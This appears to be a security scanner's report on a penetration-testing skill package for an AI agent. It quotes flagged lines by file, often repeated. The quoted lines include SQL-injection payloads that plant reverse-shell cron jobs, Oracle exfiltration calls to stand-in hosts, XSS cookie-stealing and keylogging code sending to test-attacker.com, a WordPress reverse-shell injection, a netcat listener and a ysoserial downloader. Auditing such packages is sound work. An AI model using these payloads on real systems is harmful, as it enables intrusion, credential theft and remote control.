server sends response and moves on 2. Attacker sends fetch() with: - Content-Length: 1000 (large) - Network accessline 376
2. Attacker sends fetch() with: - Network accessline 451
2. HTTP version probing: - curl --http2 https://target.com -v - Network accessline 452
- curl --http2 https://target.com -v
references/pentest_skills/request-smuggling/SKILL.md
references/pentest_skills/sqli-sql-injection/SCENARIOS.md
- Network accessline 270
ATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS cron; CREATE TABLE cron.job (payload text); INSERT INTO cron.job VALUES ('* * * * * /bin/bash -c "bash -i >& /dev/tcp/Verification_IP/4444 0>&1"'); - Dangerous shell operationline 272
INSERT INTO cron.job VALUES ('* * * * * /bin/bash -c "bash -i >& /dev/tcp/Verification_IP/4444 0>&1"'); - Network accessline 272
INSERT INTO cron.job VALUES ('* * * * * /bin/bash -c "bash -i >& /dev/tcp/Verification_IP/4444 0>&1"'); - Network accessline 502
ATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS pwn; CREATE TABLE pwn.exp (payload TEXT); INSERT INTO pwn.exp VALUES ('* * * * * bash -i >& /dev/tcp/Verification_IP/4444 0>&1'); - Dangerous shell operationline 504
INSERT INTO pwn.exp VALUES ('* * * * * bash -i >& /dev/tcp/Verification_IP/4444 0>&1'); - Network accessline 504
INSERT INTO pwn.exp VALUES ('* * * * * bash -i >& /dev/tcp/Verification_IP/4444 0>&1');
references/pentest_skills/sqli-sql-injection/SKILL.md
- Network accessline 180
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)-- -- Oracle sleep alternative (no SLEEP): ' AND 1=UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT user FROM dual))-- - Network accessline 180
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)-- -- Oracle sleep alternative (no SLEEP): ' AND 1=UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT user FROM dual))-- - Network accessline 180
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)-- -- Oracle sleep alternative (no SLEEP): ' AND 1=UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT user FROM dual))-- - Network accessline 182
' AND 1=UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT user FROM dual))-- - Network accessline 182
' AND 1=UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT user FROM dual))-- - Network accessline 182
' AND 1=UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT user FROM dual))-- - Network accessline 213
'+UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))-- - Network accessline 213
'+UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))-- - Network accessline 213
'+UTL_HTTP.REQUEST('http://test-attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
references/pentest_skills/sqli-sql-injection/SQLMAP_ADVANCED.md
- Network accessline 120
# Inject into registration form, observe result on profile page: sqlmap -u "https://target.com/register" \ - Network accessline 121
sqlmap -u "https://target.com/register" \ - Network accessline 122
[Credential-related source omitted] - Network accessline 123
--second-url="https://target.com/profile" \ - Network accessline 157
# Proxy through Burp: --proxy="http://127.0.0.1:8080" - Network accessline 158
--proxy="http://127.0.0.1:8080" - Network accessline 359
# Inline parameter marking: sqlmap -u "https://target.com/graphql" \ - Network accessline 360
sqlmap -u "https://target.com/graphql" \ - Dangerous shell operationline 437
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SRV]; - Dangerous shell operationline 440
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [LINKED_SRV_2]') AT [LINKED_SRV_1]; - Network accessline 499
); DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 1, '-c'); DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 2, 'curl http://ATTACKER/$(whoami)'); - Network accessline 500
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 1, '-c'); DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 2, 'curl http://ATTACKER/$(whoami)'); DBMS_SCHEDULER.ENABLE('pwn'); - Network accessline 501
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 2, 'curl http://ATTACKER/$(whoami)'); - Network accessline 509
SELECT XMLTYPE('<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER/'||(SELECT user FROM dual)||'">]><foo>&xxe;</foo>') FROM dual; - Network accessline 515
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c "curl http://ATTACKER/$(id)"') FROM dual; - Network accessline 631
# Second-order: sqlmap -r register.txt --second-url="https://target.com/profile" - Network accessline 632
sqlmap -r register.txt --second-url="https://target.com/profile"
references/pentest_skills/waf-bypass-techniques/SKILL.md
- Dangerous shell operationline 189
| `eval()` | `Function('code')()`, `setTimeout('code',0)` | - Dangerous shell operationline 189
| `eval()` | `Function('code')()`, `setTimeout('code',0)` | - Dangerous shell operationline 189
| `eval()` | `Function('code')()`, `setTimeout('code',0)` | - Dangerous shell operationline 189
| `eval()` | `Function('code')()`, `setTimeout('code',0)` | - Network accessline 206
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path - Network accessline 206
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path - Network accessline 206
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path - Network accessline 206
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path
references/pentest_skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md
- Network accessline 72
<a id=config href="https://test-attacker.com/evil.js"> - Dangerous shell operationline 87
- `eval()` in `useEffect` with user data - Network accessline 184
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> - Network accessline 185
<svg xmlns="http://www.w3.org/2000/svg"> - Network accessline 186
<foreignObject> <body xmlns="http://www.w3.org/1999/xhtml"> <script>alert(1)</script> - Network accessline 187
<body xmlns="http://www.w3.org/1999/xhtml"> - Network accessline 196
<svg><use href="https://test-attacker.com/evil.svg#xss"></use></svg> - Network accessline 210
// Detect if user is logged in to target site let t0 = performance.now(); fetch('https://target.com/api/me', {mode: 'no-cors'}); - Network accessline 211
let t0 = performance.now(); fetch('https://target.com/api/me', {mode: 'no-cors'}); let t1 = performance.now(); - Network accessline 212
fetch('https://target.com/api/me', {mode: 'no-cors'}); - Network accessline 219
let w = window.open('https://target.com/search?q=SECRET'); - Network accessline 231
img.onload = () => { /* user is logged in */ }; img.onerror = () => { /* user is not logged in */ }; img.src = 'https://target.com/avatar.png'; - Network accessline 233
img.src = 'https://target.com/avatar.png'; - Network accessline 238
// Check if resource is cached (= user visited target page) let t0 = performance.now(); fetch('https://target.com/static/logo.png', {cache: 'force-cache', mode: 'no-cors'}); - Network accessline 239
let t0 = performance.now(); fetch('https://target.com/static/logo.png', {cache: 'force-cache', mode: 'no-cors'}); let t1 = performance.now(); - Network accessline 240
fetch('https://target.com/static/logo.png', {cache: 'force-cache', mode: 'no-cors'});
references/pentest_skills/xss-cross-site-scripting/SCENARIOS.md
- Network accessline 60
const start = performance.now(); const img = new Image(); img.src = `https://target.com/search?q=${query}&_=${Date.now()}`; - Network accessline 61
const img = new Image(); img.src = `https://target.com/search?q=${query}&_=${Date.now()}`; await new Promise(r => { img.onload = img.onerror = r; }); - Network accessline 62
img.src = `https://target.com/search?q=${query}&_=${Date.now()}`; - Network accessline 95
https://target.com/setcookie.php?PHPSESSID=attacker_known_value - Network accessline 197
# If script-src includes CDN with JSONP: <script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"></script> - Network accessline 198
<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"></script> - Network accessline 203
# If base-uri not restricted: <base href="https://test-attacker.com/"> - Network accessline 204
<base href="https://test-attacker.com/"> - Network accessline 244
[Credential-related source omitted] - Network accessline 245
[Credential-related source omitted] - Network accessline 246
[Credential-related source omitted] - Network accessline 247
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 255
/* Detect specific characters in text nodes: */ @font-face { font-family: probe; src: url(https://test-attacker.com/?char=A); unicode-range: U+0041; } - Network accessline 256
@font-face { font-family: probe; src: url(https://test-attacker.com/?char=A); unicode-range: U+0041; } - Network accessline 257
@font-face { font-family: probe; src: url(https://test-attacker.com/?char=B); unicode-range: U+0042; } - Network accessline 274
/* @import chain for multi-round extraction: */ @import url(https://test-attacker.com/round1.css); - Network accessline 275
@import url(https://test-attacker.com/round1.css);
references/pentest_skills/xss-cross-site-scripting/SKILL.md
- Network accessline 45
| URL / href sink | `javascript:alert(1)` | `data:text/html,<svg onload=alert(1)>` | | Tag body like `title` | `</title><svg onload=alert(1)>` | `</textarea><svg onload=alert(1)>` | | SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg - Network accessline 45
| URL / href sink | `javascript:alert(1)` | `data:text/html,<svg onload=alert(1)>` | | Tag body like `title` | `</title><svg onload=alert(1)>` | `</textarea><svg onload=alert(1)>` | | SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg - Network accessline 45
| URL / href sink | `javascript:alert(1)` | `data:text/html,<svg onload=alert(1)>` | | Tag body like `title` | `</title><svg onload=alert(1)>` | `</textarea><svg onload=alert(1)>` | | SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg - Network accessline 47
| SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>` | XHTML namespace payload | - Network accessline 47
| SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>` | XHTML namespace payload | - Network accessline 47
| SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>` | XHTML namespace payload | - Network accessline 73
| JS logical block | Inside if/function | Close + inject | `'}alert(1);{'` | | JS anywhere on page | `<script>...INPUT` | Break script | `</script><svg onload=alert(1)>` | | XML page (`text/xml`) | XML content-type | XML namespace | `<x:scr - Network accessline 73
| JS logical block | Inside if/function | Close + inject | `'}alert(1);{'` | | JS anywhere on page | `<script>...INPUT` | Break script | `</script><svg onload=alert(1)>` | | XML page (`text/xml`) | XML content-type | XML namespace | `<x:scr - Network accessline 73
| JS logical block | Inside if/function | Close + inject | `'}alert(1);{'` | | JS anywhere on page | `<script>...INPUT` | Break script | `</script><svg onload=alert(1)>` | | XML page (`text/xml`) | XML content-type | XML namespace | `<x:scr - Network accessline 75
| XML page (`text/xml`) | XML content-type | XML namespace | `<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>` | - Network accessline 75
| XML page (`text/xml`) | XML content-type | XML namespace | `<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>` | - Network accessline 75
| XML page (`text/xml`) | XML content-type | XML namespace | `<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>` | - Network accessline 117
https://target.com/page.php/"><svg onload=alert(1)>?param=val - Network accessline 117
https://target.com/page.php/"><svg onload=alert(1)>?param=val - Network accessline 117
https://target.com/page.php/"><svg onload=alert(1)>?param=val - Network accessline 130
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> - Network accessline 130
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> - Network accessline 130
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> - Network accessline 147
http://facebook.com.test-attacker.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script> - Network accessline 147
http://facebook.com.test-attacker.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script> - Network accessline 147
http://facebook.com.test-attacker.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script> - Network accessline 154
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> - Network accessline 154
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> - Network accessline 154
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> - Network accessline 155
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//test-attacker.com/1.js"/> - Network accessline 155
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//test-attacker.com/1.js"/> - Network accessline 155
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//test-attacker.com/1.js"/> - Network accessline 171
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);"> - Network accessline 171
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);"> - Network accessline 171
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);"> - Network accessline 177
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script> - Network accessline 177
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script> - Network accessline 177
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script> - Network accessline 193
<base href="https://test-attacker.com/"> - Network accessline 193
<base href="https://test-attacker.com/"> - Network accessline 193
<base href="https://test-attacker.com/"> - Network accessline 200
<img src='https://test-attacker.com/log? - Network accessline 200
<img src='https://test-attacker.com/log? - Network accessline 200
<img src='https://test-attacker.com/log? - Network accessline 281
var d = document; var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML; fetch('https://test-attacker.com/collect?'+encodeURIComponent(msg)); - Network accessline 281
var d = document; var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML; fetch('https://test-attacker.com/collect?'+encodeURIComponent(msg)); - Network accessline 281
var d = document; var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML; fetch('https://test-attacker.com/collect?'+encodeURIComponent(msg)); - Network accessline 283
fetch('https://test-attacker.com/collect?'+encodeURIComponent(msg)); - Network accessline 283
fetch('https://test-attacker.com/collect?'+encodeURIComponent(msg)); - Network accessline 283
fetch('https://test-attacker.com/collect?'+encodeURIComponent(msg)); - Network accessline 294
fetch('//test-attacker.com/?c='+document.cookie) - Network accessline 294
fetch('//test-attacker.com/?c='+document.cookie) - Network accessline 294
fetch('//test-attacker.com/?c='+document.cookie) - Network accessline 300
document.onkeypress = function(e) { fetch('//test-attacker.com/k?k='+encodeURIComponent(e.key)); - Network accessline 300
document.onkeypress = function(e) { fetch('//test-attacker.com/k?k='+encodeURIComponent(e.key)); - Network accessline 300
document.onkeypress = function(e) { fetch('//test-attacker.com/k?k='+encodeURIComponent(e.key)); - Network accessline 301
fetch('//test-attacker.com/k?k='+encodeURIComponent(e.key)); - Network accessline 301
fetch('//test-attacker.com/k?k='+encodeURIComponent(e.key)); - Network accessline 301
fetch('//test-attacker.com/k?k='+encodeURIComponent(e.key)); - Network accessline 319
p = '/wp-admin/plugin-editor.php?'; q = 'file=hello.php'; s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 319
p = '/wp-admin/plugin-editor.php?'; q = 'file=hello.php'; s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 319
p = '/wp-admin/plugin-editor.php?'; q = 'file=hello.php'; s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 320
q = 'file=hello.php'; s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; a = new XMLHttpRequest(); - Network accessline 320
q = 'file=hello.php'; s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; a = new XMLHttpRequest(); - Network accessline 320
q = 'file=hello.php'; s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; a = new XMLHttpRequest(); - Dangerous shell operationline 321
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Dangerous shell operationline 321
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Dangerous shell operationline 321
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 321
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 321
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 321
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>'; - Network accessline 328
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); b.send($); b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); } - Network accessline 328
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); b.send($); b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); } - Network accessline 328
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); b.send($); b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); } - Network accessline 330
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); } - Network accessline 330
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); } - Network accessline 330
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); } - Network accessline 341
# Attacker listener: while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done - Network accessline 341
# Attacker listener: while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done - Network accessline 341
# Attacker listener: while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done - Network accessline 342
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done - Network accessline 342
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done - Network accessline 342
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
references/product-default-credentials.md
- Network accessline 62
| 致远 OA | admin | 123456 | Seeyon OA | | 泛微 OA | sysadmin | 1 | Weaver E-Mobile | | 用友 NC | admin | admin | Yonyou NC | - Network accessline 63
| 泛微 OA | sysadmin | 1 | Weaver E-Mobile | | 用友 NC | admin | admin | Yonyou NC | | 用友 U8 | admin | ufida | U8CRM | - Network accessline 64
| 用友 NC | admin | admin | Yonyou NC |
references/report-json-format.md
- Network accessline 12
"tester": "vibe-pentest-agent-v1", "scope": { "target_url": "http://target:port/", - Network accessline 13
"scope": { "target_url": "http://target:port/", "tech_stack": ["java", "spring_boot_3", "halo_cms"] - Network accessline 14
"target_url": "http://target:port/", - Network accessline 36
"confidence": "confirmed", "authenticated": true, "target_url": "http://...", - Network accessline 37
"authenticated": true, "target_url": "http://...", "description": "详细描述,包含影响分析。", - Network accessline 38
"target_url": "http://...", - Network accessline 42
{ "label": "漏洞验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers", - Network accessline 43
"label": "漏洞验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers", "expected_evidence": "执行后应看到的关键响应证据" - Network accessline 44
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers", - Network accessline 50
"seq": 1, "label": "此交互的说明", "request": {"method": "GET", "url": "http://...", "headers": {}, "body": null}, - Network accessline 51
"label": "此交互的说明", "request": {"method": "GET", "url": "http://...", "headers": {}, "body": null}, "response": {"status_code": 200, "headers": {}, "body": "..."} - Network accessline 52
"request": {"method": "GET", "url": "http://...", "headers": {}, "body": null},
references/sub_agents/poc-agent.md
- Dangerous shell operationline 27
5. 使用 `{SKILL_ROOT}/scripts/http_test.py` 构造并发送验证请求,评估匹配器判断漏洞是否存在;若响应显示表达式被当作普通属性或函数未执行(如 `No such attribute: exec(...)`),应按正式子 Skill 归类为表达式解析/版本适用性问题,而不是简单归因为 OOB 命令失败。
references/ws-test-usage.md
- Network accessline 5
安装 Python 依赖优先使用国内源:https://pypi.tuna.tsinghua.edu.cn/simple - Network accessline 23
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 82
`--proxy http://127.0.0.1:8080`、`--no-proxy`、`--ca-file company-ca.pem`、`--allow-insecure`(仅关闭目标证书校验)、`--subprotocol json.v1`、`--compression`(permessage-deflate,默认关闭)。
report_renderers/generate_html.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 134
VENDOR_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "vendor") VENDOR_SCRIPTS = [ ("chart.umd.min.js", "https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"), - Network accessline 135
VENDOR_SCRIPTS = [ ("chart.umd.min.js", "https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"), ("chartjs-plugin-datalabels.min.js", "https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs- - Network accessline 136
("chart.umd.min.js", "https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"), - Network accessline 137
("chartjs-plugin-datalabels.min.js", "https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datalabels.min.js"),
report_renderers/generate_word.py
report_renderers/vendor/chart.umd.min.js
- Possible obfuscationline 1
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).Chart=e()}(this,function(){"use strict";var s=Objec - Executable scriptline 1
Executable file
report_renderers/vendor/chartjs-plugin-datalabels.min.js
- Network accessline 1
/*! * chartjs-plugin-datalabels v2.2.0 * https://chartjs-plugin-datalabels.netlify.app - Executable scriptline 1
Executable file - Network accessline 2
* chartjs-plugin-datalabels v2.2.0 * https://chartjs-plugin-datalabels.netlify.app * (c) 2017-2022 chartjs-plugin-datalabels contributors - Network accessline 3
* https://chartjs-plugin-datalabels.netlify.app - Possible obfuscationline 7
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("chart.js/helpers"),require("chart.js")):"function"==typeof define&&define.amd?define(["chart.js/helpers","chart.js"],e):(t="undefined"!=typeof glo
scripts/admin_scanner.py
- Executable scriptline 1
Executable file - Network accessline 418
try: response = requests.get( - Network accessline 419
response = requests.get( - Network accessline 798
formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Examples: python admin_scanner.py --target https://example.com - Network accessline 799
epilog="""Examples: python admin_scanner.py --target https://example.com python admin_scanner.py --target https://example.com --output <workspace>/admin_scan_summary.json - Network accessline 800
python admin_scanner.py --target https://example.com - Network accessline 801
python admin_scanner.py --target https://example.com --output <workspace>/admin_scan_summary.json - Network accessline 802
python admin_scanner.py --target https://example1.com --target https://example2.com - Network accessline 803
python admin_scanner.py --target https://example1.com --target https://example2.com --max-target-workers 3 - Network accessline 804
python admin_scanner.py --target https://example.com --threads 20 --timeout 5 --paths-file paths.txt
scripts/api_discovery.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 88
raw_target = target_input.strip() base_url = raw_target if raw_target.startswith("http") else f"https://{raw_target}" parsed = urllib.parse.urlparse(base_url) - Network accessline 89
base_url = raw_target if raw_target.startswith("http") else f"https://{raw_target}" parsed = urllib.parse.urlparse(base_url) domain = parsed.hostname or raw_target.lower() - Network accessline 301
default_headers.update(headers) try: response = requests.request( - Network accessline 302
try: response = requests.request( method=method, - Network accessline 303
response = requests.request( - Network accessline 849
# fetch/axios with template literals: fetch(`/user/${id}`) -> keep static prefix
scripts/auto_update_skill.py
scripts/clean_targets.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/deduplicate.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/deserialization_payload.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 12
python scripts/deserialization_payload.py \ --gadget URLDNS \ --command "http://unique-id.example.dnslog.cn" \ - Network accessline 12
python scripts/deserialization_payload.py \ --gadget URLDNS \ --command "http://unique-id.example.dnslog.cn" \ - Network accessline 12
python scripts/deserialization_payload.py \ --gadget URLDNS \ --command "http://unique-id.example.dnslog.cn" \ - Network accessline 13
--gadget URLDNS \ --command "http://unique-id.example.dnslog.cn" \ --output payload.bin - Network accessline 13
--gadget URLDNS \ --command "http://unique-id.example.dnslog.cn" \ --output payload.bin - Network accessline 13
--gadget URLDNS \ --command "http://unique-id.example.dnslog.cn" \ --output payload.bin - Network accessline 14
--command "http://unique-id.example.dnslog.cn" \ - Network accessline 14
--command "http://unique-id.example.dnslog.cn" \ - Network accessline 14
--command "http://unique-id.example.dnslog.cn" \ - Network accessline 42
TOOLS_DIR = PROJECT_ROOT / "tools" DEFAULT_JAR_PATH = TOOLS_DIR / "ysoserial.jar" DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" - Network accessline 42
TOOLS_DIR = PROJECT_ROOT / "tools" DEFAULT_JAR_PATH = TOOLS_DIR / "ysoserial.jar" DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" - Network accessline 42
TOOLS_DIR = PROJECT_ROOT / "tools" DEFAULT_JAR_PATH = TOOLS_DIR / "ysoserial.jar" DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" - Network accessline 43
DEFAULT_JAR_PATH = TOOLS_DIR / "ysoserial.jar" DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" DEFAULT_TIMEOUT = 120 - Network accessline 43
DEFAULT_JAR_PATH = TOOLS_DIR / "ysoserial.jar" DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" DEFAULT_TIMEOUT = 120 - Network accessline 43
DEFAULT_JAR_PATH = TOOLS_DIR / "ysoserial.jar" DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" DEFAULT_TIMEOUT = 120 - Network accessline 44
DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" - Network accessline 44
DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" - Network accessline 44
DEFAULT_DOWNLOAD_URL = "https://ok-tools.oss-cn-beijing.aliyuncs.com/ysoseria.zip" - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Network accessline 122
TOOLS_DIR.mkdir(parents=True, exist_ok=True) request = urllib.request.Request( - Network accessline 122
TOOLS_DIR.mkdir(parents=True, exist_ok=True) request = urllib.request.Request( - Network accessline 122
TOOLS_DIR.mkdir(parents=True, exist_ok=True) request = urllib.request.Request( - Network accessline 123
request = urllib.request.Request( - Network accessline 123
request = urllib.request.Request( - Network accessline 123
request = urllib.request.Request( - Network accessline 136
print(f"未发现本地 ysoserial JAR,正在下载: {url}", file=sys.stderr) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 136
print(f"未发现本地 ysoserial JAR,正在下载: {url}", file=sys.stderr) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 136
print(f"未发现本地 ysoserial JAR,正在下载: {url}", file=sys.stderr) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 137
try: with urllib.request.urlopen(request, timeout=timeout) as response: with open(archive_path, "wb") as output: - Network accessline 137
try: with urllib.request.urlopen(request, timeout=timeout) as response: with open(archive_path, "wb") as output: - Network accessline 137
try: with urllib.request.urlopen(request, timeout=timeout) as response: with open(archive_path, "wb") as output: - Network accessline 138
with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 138
with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 138
with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 266
parser.add_argument( "--command", help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", - Network accessline 266
parser.add_argument( "--command", help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", - Network accessline 266
parser.add_argument( "--command", help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", - Network accessline 267
"--command", help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", ) - Network accessline 267
"--command", help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", ) - Network accessline 267
"--command", help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", ) - Network accessline 268
help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", - Network accessline 268
help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn", - Network accessline 268
help="传给 gadget 的命令或 URL,例如 http://token.dnslog.cn",
scripts/dnslog.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 19
BASE_URL = "http://dnslog.cn" - Network accessline 19
BASE_URL = "http://dnslog.cn" - Network accessline 19
BASE_URL = "http://dnslog.cn" - Network accessline 19
BASE_URL = "http://dnslog.cn" - Network accessline 60
"usage": ( f"使用此域名进行 DNS 查询测试,例如: " f"nslookup {domain} 或 ping http://{domain}" - Network accessline 60
